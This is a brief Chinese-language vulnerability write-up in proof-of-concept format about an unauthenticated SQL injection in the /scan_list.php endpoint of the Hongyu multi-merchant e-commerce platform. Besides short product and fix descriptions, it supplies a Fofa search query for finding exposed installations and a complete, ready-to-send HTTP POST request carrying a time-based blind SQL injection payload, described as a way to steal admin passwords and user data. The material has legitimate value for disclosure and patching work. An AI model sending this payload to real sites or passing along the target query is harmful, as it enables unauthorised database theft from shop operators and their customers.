0x01 产品描述：
鸿宇多用户商城是一款支持各行业的多商家入驻型电商平台系统，提供商家版APP、微信商城、小程序及各种主流营销模块，是一个功能强大的电子商务平台，旨在为企业和个人提供全面的在线购物解决方案。
0x02 漏洞描述：
鸿宇多用户商城 /scan_list.php 登录接口处存在SQL注入漏洞，未经身份验证的远程攻击者可以利用 SQL 注入漏洞获取数据库中的信息(例如，管理员后台密码、站点的用户个人信息)。
0x03 搜索语句：
Fofa：body="HongYuJD" && body="68ecshopcom_360buy"
0x04 漏洞复现：
POST /scan_list.php HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
data['fahuo']=(SELECT 2753 FROM (SELECT(SLEEP(5)))QkUH)&act=view
0x05 修复建议：
建议对所有输入数据进行严格验证，并使用参数化查询。同时，应限制数据库用户的权限，仅授予执行必要操作所需的最低权限。定期进行安全审计，以发现并修复潜在的安全漏洞。